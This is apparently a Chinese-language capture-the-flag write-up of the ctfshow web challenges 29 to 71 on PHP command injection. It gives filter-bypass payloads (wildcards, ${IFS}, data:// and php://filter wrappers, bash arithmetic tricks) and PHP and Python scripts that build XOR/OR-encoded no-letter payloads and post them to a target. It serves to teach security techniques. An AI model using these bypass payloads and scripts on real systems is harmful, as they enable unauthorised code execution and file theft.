Web29:

1
2
3
4
5
6
7
8
9
10
11
 <?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

​ 过滤了文件关键词,通配符绕过,cat f*,用system执行,发现没有成功读取,考虑使用tac倒序读取,得到flag。

总结,文件关键词过滤可以考虑使用通配符绕过。

Web30:

1
2
3
4
5
6
7
8
9
10
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

​ 过滤了system,并且用的屎eval函数。

​ 这里先试试反斜杠绕过,似乎无法绕过。

​ 那么就试着反引号绕过,echo `ls`; ,成功绕过,之后直接echo `tac fl*`;读取flag。

Web31:

1
2
3
4
5
6
7
8
9
10
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

​ 这里发现空格,单引号被过滤了,还有小数点,没有过滤反引号,直接反引号绕过,成功绕过system,cat被过滤就tac读取,空格用%0a或者%09绕过。

​ 前置知识:

空格过滤:

1
2
3
4
5
6
7
8
%09 符号需要php环境
{cat,flag.txt}
cat${IFS}flag.txt
cat$IFS$9flag.txt
cat<flag.txt
cat<>flag.txt
kg=$'\x20flag.txt'&&cat$kg
(\x20转换成字符串就是空格,这里通过变量的方式巧妙绕过)

cat过滤:

1
2
3
4
5
6
7
8
9
10
11
12
more:一页一页的显示档案内容
less:与 more 类似。但在用 more 时候可能不能向上翻页,不能向上搜索指定字符串,而 less 却可以自由的向上向下翻页,也可以自由的向上向下搜索指定字符串。
head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
tail:查看尾几行
nl:命令的作用和 cat -n 类似,是将文件内容全部显示在屏幕上,并且是从第一行开始显示,同时会自动打印出行号。
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看
file -f:报错出具体内容。可以利用报错将文件内容带出来(-f<名称文件>  指定名称文件,其内容有一个或多个文件名称时,让file依序辨识这些文件,格式为每列一个文件名称。)

Web32:

1
2
3
4
5
6
7
8
9
10
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

​ 过滤了system和反引号还有echo,这里看似挺严格的,但是print_r或者var_dump没有过滤,应该可以利用下,但是,system被过滤了,只有无回显RCE了,但是,过滤了左半边括号,这样就没法绕了,试一试不需要括号的语句:

1
2
3
4
5
6
7
8
9
<?php
echo 123;
print 123;
die;
include "/etc/passwd";
require "/etc/passwd";
include_once "/etc/passwd";
require_once "etc/passwd";
?>

可以配合文件包含来打伪协议,具体payload类似下面这样:

1
include"$_GET[url]"?>&url=php://filter/read=convert.base64-encode/resource=flag.php

Web33:

1
2
3
4
5
6
7
8
9
10
11
12
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

​ 多过滤了分号和双引号,反引号和空格等等依然被过滤了,这个时候似乎更难办了,还是打文件包含加伪协议来打:

1
include$_GET[url]?>&url=php://filter/read=convert.base64-encode/resource=flag.php

Web34:

1
2
3
4
5
6
7
8
9
10
11
 <?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

​ 多过滤了一个冒号,方法同上:

1
include$_GET[url]?>&url=php://filter/read=convert.base64-encode/resource=flag.php

​ 这里解释一下,这里出现冒号依旧绕过了的原因是因为PHP把前面的include到?>的认为成一个get传参,另一个,也就是&url被认为是另一个传参,正则只检测第一个部分,第二个部分就不会检测了。

Web35:

1
2
3
4
5
6
7
8
9
10
11
 <?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

​ 小于符号也被过滤了,不过无伤大雅,依旧老样子,因为没有过滤>,所以依旧能用上面的payload打:

1
include$_GET[url]?>&url=php://filter/read=convert.base64-encode/resource=flag.php

Web36:

1
2
3
4
5
6
7
8
9
10
11
 <?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

​ 这里连带着数字一起过滤了,无伤大雅,继续文件包含一把梭:

1
include$_GET[url]?>&url=php://filter/read=convert.base64-encode/resource=flag.php

Web37:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
 <?php
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c);
echo $flag;

}

}else{
highlight_file(__FILE__);
}

​ 文件包含过滤了flag,这个时候可以考虑include一个data伪协议输入的命令参数,具体如下:

data://,可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当作php文件执行

第一:使用通配符绕过flag:

?c=data://text/plain,
?c=data://text/plain,

第二:使用base64绕过flag:

?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==

#base64解码为<?php system('cat flag.php');?>

Web38:

1
2
3
4
5
6
7
8
9
10
11
12
 <?php
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|php|file/i", $c)){
include($c);
echo $flag;
}
}else{
highlight_file(__FILE__);
}

​ 相较于上一个题多过滤了一层php,使用base64绕过就行:

?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==

​ 或者,使用短标签绕过:

?c=data://text/plain,

Web39:

1
2
3
4
5
6
7
8
9
10
11
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c.".php");
}

}else{
highlight_file(__FILE__);
}

​ 过滤了flag,但是文件包含里存在.php的后缀,好像无伤大雅,和上一题一样,短标签打。

/?c=data://text/plain,

​ 由于两端合在一起就类似于<?= system('tac fla*');?>.php,.php因为已经被标签闭合在外面,所以不会被当作文件包含的后缀算进去,依旧能进行RCE。

Web40:

1
2
3
4
5
6
7
8
9
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

​ 过滤了数字,和各种符号,但是过滤似乎有点儿问题,没有过滤英文的括号,过滤成了中文的括号,所以,无参数RCE,可以一把梭:

1
payload:?c=show_source(next(array_reverse(scandir(pos(localeconv())))));

​ 前置知识:

1
2
3
4
5
6
7
8
localeconv():返回一包含本地数字及货币格式信息的数组。其中数组中的第一个为点号(.)
current() :返回数组中的当前元素的值;默认取第一个值
pos():current() 的别名
reset() 将 array 的内部指针倒回到第一个单元并返回第一个数组单元的值。
array_reverse():数组逆序
(如果不是数组的最后一个或者倒数第二个呢?我们可以使用array_rand(array_flip()),array_flip()是交换数组的键和值,array_rand()是随机返回一个数组)
scandir():列出指定路径中的文件和目录
next():函数将内部指针向前移动一位即指向数组中的下一个元素,并输出这个元素。

​ 或者使用:

1
2
3
4
5
6
查看当前目录下文件
?c=print_r(scandir(dirname(__FILE__)));
找到flag.php
?c=print_r(next(array_reverse(scandir(dirname(__FILE__)))));
高亮显示即可
c=highlight_file(next(array_reverse(scandir(dirname(__FILE__)))));

Web41:

1
2
3
4
5
6
7
8
9
if(isset($_POST['c'])){
$c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
eval("echo($c);");
}
}else{
highlight_file(__FILE__);
}
?>

​ 无字母数字RCE,并且因为过滤了$、+、-、^、~所以无法使用异或、自增和取反绕过,不过,听说网上还有另一个操作,就是利用管道符,也就是| 运算符,这里贴一下相关的文章:

无字母数字绕过正则表达式总结(含上传临时文件、异或、或、取反、自增脚本)

ctfshow web入门 web41

​ 这里给了两个代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php

/*author yu22x*/

$myfile = fopen("xor_rce.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) {
for ($j=0; $j <256 ; $j++) {

if($i<16){
$hex_i='0'.dechex($i);
}
else{
$hex_i=dechex($i);
}
if($j<16){
$hex_j='0'.dechex($j);
}
else{
$hex_j=dechex($j);
}
$preg = '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i'; //根据题目给的正则表达式修改即可
if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
echo "";
}

else{
$a='%'.$hex_i;
$b='%'.$hex_j;
$c=(urldecode($a)^urldecode($b));
if (ord($c)>=32&ord($c)<=126) {
$contents=$contents.$c." ".$a." ".$b."\n";
}
}

}
}
fwrite($myfile,$contents);
fclose($myfile);

​ 还有python的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
# -*- coding: utf-8 -*-

# author yu22x

import requests
import urllib
from sys import *
import os
def action(arg):
s1=""
s2=""
for i in arg:
f=open("xor_rce.txt","r")
while True:
t=f.readline()
if t=="":
break
if t[0]==i:
#print(i)
s1+=t[2:5]
s2+=t[6:9]
break
f.close()
output="(\""+s1+"\"^\""+s2+"\")"
return(output)

while True:
param=action(input("\n[+] your function:") )+action(input("[+] your command:"))+";"
print(param)

​ 另一个,贴一下羽神的脚本,这个感觉更好用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php
$myfile = fopen("rce_or.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) {
for ($j=0; $j <256 ; $j++) {

if($i<16){
$hex_i='0'.dechex($i);
}
else{
$hex_i=dechex($i);
}
if($j<16){
$hex_j='0'.dechex($j);
}
else{
$hex_j=dechex($j);
}
$preg = '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i';
if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
echo "";
}

else{
$a='%'.$hex_i;
$b='%'.$hex_j;
$c=(urldecode($a)|urldecode($b));
if (ord($c)>=32&ord($c)<=126) {
$contents=$contents.$c." ".$a." ".$b."\n";
}
}

}
}
fwrite($myfile,$contents);
fclose($myfile);
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
# -*- coding: utf-8 -*-
import requests
import urllib
from sys import *
import os
os.system("php rce_or.php") #没有将php写入环境变量需手动运行
if(len(argv)!=2):
print("="*50)
print('USER:python exp.py <url>')
print("eg: python exp.py http://ctf.show/")
print("="*50)
exit(0)
url=argv[1]
def action(arg):
s1=""
s2=""
for i in arg:
f=open("rce_or.txt","r")
while True:
t=f.readline()
if t=="":
break
if t[0]==i:
#print(i)
s1+=t[2:5]
s2+=t[6:9]
break
f.close()
output="(\""+s1+"\"|\""+s2+"\")"
return(output)

while True:
param=action(input("\n[+] your function:") )+action(input("[+] your command:"))
data={
'c':urllib.parse.unquote(param)
}
r=requests.post(url,data=data)
print("\n[*] result:\n"+r.text)

Web42:

1
2
3
4
5
6
if(isset($_GET['c'])){
$c=$_GET['c'];
system($c." >/dev/null 2>&1");
}else{
highlight_file(__FILE__);
}

​ 对于这里的,可以参考下下面这篇文章: Shell脚本———— /dev/null 2>&1详解

​ 这里如果只是想要解题的话,可以想办法让后面的不执行,或者前后分离开就行了,这里有如下几种方法:

; //分号
| //只执行后面那条命令
|| //只执行前面那条命令
& //两条命令都会执行
&& //两条命令都会执行

Web43:

1
2
3
4
5
6
7
8
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}

​ 对比上一题,多了一层过滤,多了一个cat和分号,老样子,同一个payload:

1
?c=tac fla* ||

​ 再一次,贴一下可以绕过的方式:

1
2
3
4
5
6
7
?c=more flag.php||
?c=sort flag.php||
?c=less flag.php||
?c=tac flag.php||
?c=tail flag.php||
?c=nl flag.php||
?c=strings flag.php||

Web44:

1
2
3
4
5
6
7
8
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/;|cat|flag/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}

​ 多过滤了flag,通配符绕过:

1
?c=tac f* ||

Web45:

1
2
3
4
5
6
7
8
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| /i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}

​ 过滤了空格,老样子,IFS绕过:

1
c=tac${IFS}fla*||

Web46:

1
2
3
4
5
6
7
8
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}

​ 过滤了空格和星号,星号直接用问号绕过,空格使用%09绕过:

1
?c=tac%09fla?.php|| #这里的%09不属于数字

​ 过滤了空格:

1
2
3
4
5
6
7
>` `<` `<>` 重定向符
`%09`(需要php环境)
`${IFS}`
`$IFS$9`
`{cat,flag.php}` //用逗号实现了空格功能
`%20`
`%09

Web47:

1
2
3
4
5
6
7
8
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}

​ 过滤了除了tac以外的很大一部分读取文件的操作,flag也被过滤了,还有空格和星号,绕过方式和上一个一样:

c=tac%09fla?.php||

Web48:

1
2
3
4
5
6
7
8
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}

​ 不是,怎么多了这么多不认识的命令?

​ 不过无所谓,发现还是老样子,tac、管道符和问号没有被过滤,直接无脑冲:

c=tac%09fla?.php||

Web49:

1
2
3
4
5
6
7
8
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}

​ 没有过滤tac,但是过滤了百分号,不过这里无伤大雅,因为%09不会被当作%,所以直接

?c=tac%09fla?.php||

Web50:

1
2
3
4
5
6
7
8
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}

​ 丸辣,过滤了\x09,没法过了,那就使用<>来绕过,不过,<>和通配符?一起使用的时候不回显,所以用反斜杠绕过关键字flag:

?c=tac<>fla\g.php||

Web51:

1
2
3
4
5
6
7
8
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}

​ 靠,tac被过滤了,不过无所谓,system函数在某些时候可以用反斜杠来分割关键字,直接一把梭:

?c=ta\c<>fla\g.php||

Web52:

1
2
3
4
5
6
7
8
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}

​ 丸辣,这里过滤了大小于符号,不过,突然发现好像没有过滤掉$符号,很好,直接IFS绕过。

?c=ta\c${IFS}fla\g.php||

?c=ta\c${IFS}fl’’ag.php||

​ 不过没有找到flag,flag会在哪里呢?在根目录找到了flag。

Web53:

1
2
3
4
5
6
7
8
9
10
11
12
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
echo($c);
$d = system($c);
echo "<br>".$d;
}else{
echo 'no';
}
}else{
highlight_file(__FILE__);
}

​ 没啥说的,IFS绕过一把梭:

?c=ta\c${IFS}fla\g.php

Web54:

1
2
3
4
5
6
7
8
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}

​ 这又是啥正则?ai的解释如下(部分正确,不可全信):

这行代码是使用PHP的preg_match函数来检查一个字符串(假设为变量$c)是否包含一系列特定的模式或字符。这些模式通常与尝试绕过安全限制、注入恶意代码或执行不期望的命令有关。下面是对这个正则表达式中各个部分的解释:

  1. \;:查找分号(;),这通常用于命令分隔,在某些情况下可能被用于尝试执行多条命令。
  2. .*c.*a.*t.*:查找包含cat的字符串,cat是一个常用于Unix/Linux系统中查看文件内容的命令。
  3. .*f.*l.*a.*g.*:查找包含flag的字符串,这可能是在尝试获取某种“标志”或敏感信息。
  4. [0-9]:查找空格后跟任何数字,这可能是在尝试绕过基于特定字符的限制。
  5. \*:查找星号(*),在某些上下文中,它可能用于通配符匹配或具有特殊意义。
  6. .*m.*o.*r.*e.*.*w.*g.*e.*t.*.*l.*e.*s.*s.*等:这些模式分别查找包含morewgetless等命令的字符串,这些命令通常用于文件操作或数据传输。
  7. .*h.*e.*a.*d.*.*s.*o.*r.*t.*.*t.*a.*i.*l.*等:查找包含headsorttail等Unix/Linux命令的字符串,这些命令用于处理文本数据。
  8. .*s.*e.*d.*.*c.*u.*t.*.*t.*a.*c.*等:查找包含sedcuttac等命令的字符串,这些命令用于文本处理。
  9. .*a.*w.*k.*:查找包含awk的字符串,awk是一个强大的文本处理工具。
  10. .*s.*t.*r.*i.*n.*g.*s.*:查找包含strings的字符串,strings命令用于提取二进制文件中的可打印字符串。
  11. .*o.*d.*:查找包含od的字符串,od(八进制转储)命令用于以八进制或其他格式转储文件内容。
  12. .*c.*u.*r.*l.*:查找包含curl的字符串,curl是一个用于传输数据的命令行工具。
  13. .*n.*l.*:可能意图查找包含nl的字符串,但此模式较为宽泛,因为nl是常见字母。
  14. .*s.*c.*p.*:查找包含scp的字符串,scp是安全复制命令,用于在本地和远程之间安全地传输文件。
  15. .*r.*m.*:查找包含rm的字符串,rm命令用于删除文件或目录。
  16. \%\x09\x26><:查找反引号(```)、百分号(%)、制表符(\x09)、&符号的HTML实体(\x26)、大于号(>)、小于号(<),这些字符或模式可能在尝试执行命令或注入代码时具有特殊意义。

整个正则表达式使用了i修饰符,表示不区分大小写。如果preg_match返回false(即没有找到匹配项),则意味着字符串$c不包含上述任何敏感模式或字符。这通常用于安全检查,以防止潜在的恶意输入。

​ 这里直接用下面这个方式绕:

1
2
?c=grep${IFS}'{'${IFS}fl???php
(在 fl???php匹配到的文件中,查找含有{的文件,并打印出包含 { 的这一行)

Web55:

1
2
3
4
5
6
7
8
9
// 你们在炫技吗?
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}

​ 终于到了新玩意儿了,无字母RCE,有几种方法:
查看源代码发现没有过滤数字,我们就想一想在我们查看文件的命令有没有数字开头的。
匹配到/bin目录下的命令
cat、cp、chmod df、dmesg、gzip、kill、ls、mkdir、more、mount、rm、su、tar、base64等
发现存在一个base64
我们就可以通过通配符进行匹配命令执行查看flag.php
payload:

1
2
?c=/???/????64 ????.???
意思是 /bin/base64 flag.php

Web56:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
// 你们在炫技吗?
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}


解题思路:过滤了分号,字母,数字等等符号
本题没有过滤符号.(点),因此可以想到linux中该符号.(点)的用法,与source命令用法相同:linxu中source命令和.(点)
总体分析后,可以post上传一个php文件,内容为所需执行的linux指令,然后使用glob通配符和.(点)来将其中的内容以linux指令的形式来进行执行。

​ 还是system,不过这次多过滤了字母。用下面这个脚本去跑,不过原理不是很清楚,贴一个链接,有条件就去学习一下。

LINUX中的点命令,或source命令,或点符号

无字母数字webshell之提高篇

​ python脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import time
import requests

url = "http://c7ab10d0-d6da-40f4-8e90-c56abda22ce1.challenge.ctf.show/"
payload = {"c":". /???/????????[@-[]"}


with open('.\\a.txt','r') as file:
files = {'file': file}
while 1:
r = requests.post(url,params=payload,files=files)

if r.text:
print("\n" + r.text)
break

time.sleep(1)
print(".", end=' ',flush=True)

​ 另外还需要创建一个a.txt文件,里面的内容为cat flag.php

Web57:

1
2
3
4
5
6
7
8
9
10
// 还能炫的动吗?
//flag in 36.php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){
system("cat ".$c.".php");
}
}else{
highlight_file(__FILE__);
}

​ 这个似乎可以取反做:

在liunx中,$(())为0 , $(($(())))为-1 ~$代表取反,0取反后为-1,这样就可以先构造出-37,取反后就为36,也就是$(())中有37个$(($(())))在加上取反,也就是$((~$(( ))))中有37个-1

​ 先贴一个无字母数字RCE的总结:

无字母数字webshell总结

无数字字母rce总结(取反、异或、自增、临时文件)

​ 可惜,做题的这个考点似乎这两篇文章里没有:

双小括号 (( )) 是 Bash Shell 中专门用来进行整数运算的命令,它的效率很高,写法灵活,是企业运维中常用的运算命令。 通俗地讲,就是将数学运算表达式放在((和))之间。 表达式可以只有一个,也可以有多个,多个表达式之间以逗号,分隔。对于多个表达式的情况,以最后一个表达式的值作为整个 (( ))命令的执行结果。 可以使用$获取 (( )) 命令的结果,这和使用$获得变量值是类似的。 可以在 (( )) 前面加上$符号获取 (( )) 命令的执行结果,也即获取整个表达式的值。以 c=$((a+b)) 为例,即将 a+b 这个表达式的运算结果赋值给变量 c。 注意,类似 c=((a+b)) 这样的写法是错误的,不加$就不能取得表达式的结果。

1
2
3
4
5
echo ${_} #返回上一次的执行结果`
echo $(()) #0
echo $((~$(()))) #~0是-1
$(($((~$(())))$((~$(()))))) #$((-1-1))即$$((-2))是-2
echo $((~-37)) #~-37是36

​ 所以payload:

1
?c=$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))

​ 可以用这个脚本生成简单的数字:

1
2
3
4
num_1 = "$((~$(())))"
inta = 36
resp = "$((~$(("+ num_1 * 37 +"))))"
print(resp)

Web58:

1
2
3
4
5
6
7
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}

​ 乍一看,好像很简单,不过,当我post了一个phpinfo之后,发现了函数被禁了:

1
Warning: phpinfo() has been disabled for security reasons in /var/www/html/index.php(17) : eval()'d code on line 1

​ 建议直接fuzz一下,看看具体哪些被ban了,这里就直接show_source了:

c=show_source(‘flag.php’);
c=highlight_file(next(array_reverse(scandir(pos(localeconv())))));

Web59:

1
2
3
4
5
6
7
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}

​ 具体不知道有些啥被ban了,只能一个个测,结果和上一题一样,show_source依旧过了:

c=show_source(“flag.php”);

Web60:

1
2
3
4
5
6
7
8
题目:
<?php
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}

​ 一模一样,直接给paylaod:

c=show_source(“flag.php”);

Web61:

1
2
3
4
5
6
7
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}

​ show_source百试不爽啊。

c=show_source(“flag.php”);

Web62:

1
2
3
4
5
6
7
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}

c=show_source(“flag.php”);

Web63:

1
2
3
4
5
6
7
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}

c=show_source(“flag.php”);

Web64:

1
2
3
4
5
6
7
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}

c=show_source(“flag.php”);

Web65:

1
2
3
4
5
6
7
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}

c=show_source(“flag.php”);

Web66:

1
2
3
4
5
6
7
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}

​ show_source函数被ban了,highlight_file没有被ban,试试看,结果flag没有在flag.php里,通过如下payload发现flag在根目录下:

1
2
3
c=print_r(scandir("/"));

#Array ( [0] => . [1] => .. [2] => .dockerenv [3] => bin [4] => dev [5] => etc [6] => flag.txt [7] => home [8] => lib [9] => media [10] => mnt [11] => opt [12] => proc [13] => root [14] => run [15] => sbin [16] => srv [17] => sys [18] => tmp [19] => usr [20] => var )

​ 那就用highlight_file去读根目录:

Web67:

1
2
3
4
5
6
7
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}

​ print_r被过滤了,试试看var_dump,没有被过滤,继续scandir去读目录结构。

1
2
c=var_dump(scandir("/"));
c=highlight_file("/flag.txt");

Web68:

​ 由于 highlight_file() 被ban了,读不到源码,所以就直接开打了,先测一下var_dump,var_dump和scandir都没有被ban,直接读根目录,找到了flag.txt:

1
2
3
4
c=var_dump(scandir("/"));


#array(21) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(10) ".dockerenv" [3]=> string(3) "bin" [4]=> string(3) "dev" [5]=> string(3) "etc" [6]=> string(8) "flag.txt" [7]=> string(4) "home" [8]=> string(3) "lib" [9]=> string(5) "media" [10]=> string(3) "mnt" [11]=> string(3) "opt" [12]=> string(4) "proc" [13]=> string(4) "root" [14]=> string(3) "run" [15]=> string(4) "sbin" [16]=> string(3) "srv" [17]=> string(3) "sys" [18]=> string(3) "tmp" [19]=> string(3) "usr" [20]=> string(3) "var" }

​ 之后就是其他手法了,根据txt文件,推测flag应该不会被当作php代码执行,所以试着使用文件包含等手法读flag:

1
c=include("/flag.txt");

Web69:

​ ban了highlight_file、var_dump,那就用var_export,输出目录结构:

1
2
3
c=var_export(scandir("/"));

#array ( 0 => '.', 1 => '..', 2 => '.dockerenv', 3 => 'bin', 4 => 'dev', 5 => 'etc', 6 => 'flag.txt', 7 => 'home', 8 => 'lib', 9 => 'media', 10 => 'mnt', 11 => 'opt', 12 => 'proc', 13 => 'root', 14 => 'run', 15 => 'sbin', 16 => 'srv', 17 => 'sys', 18 => 'tmp', 19 => 'usr', 20 => 'var', )

​ 之后include包含/flag.txt文件即可得到flag。

Web70:

​ 通过var_export读取文件目录结构,再用include 包含/flag.txt,和上面几个题没有任何区别。

Web71:

​ 附件里给了源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
error_reporting(0);
ini_set('display_errors', 0);
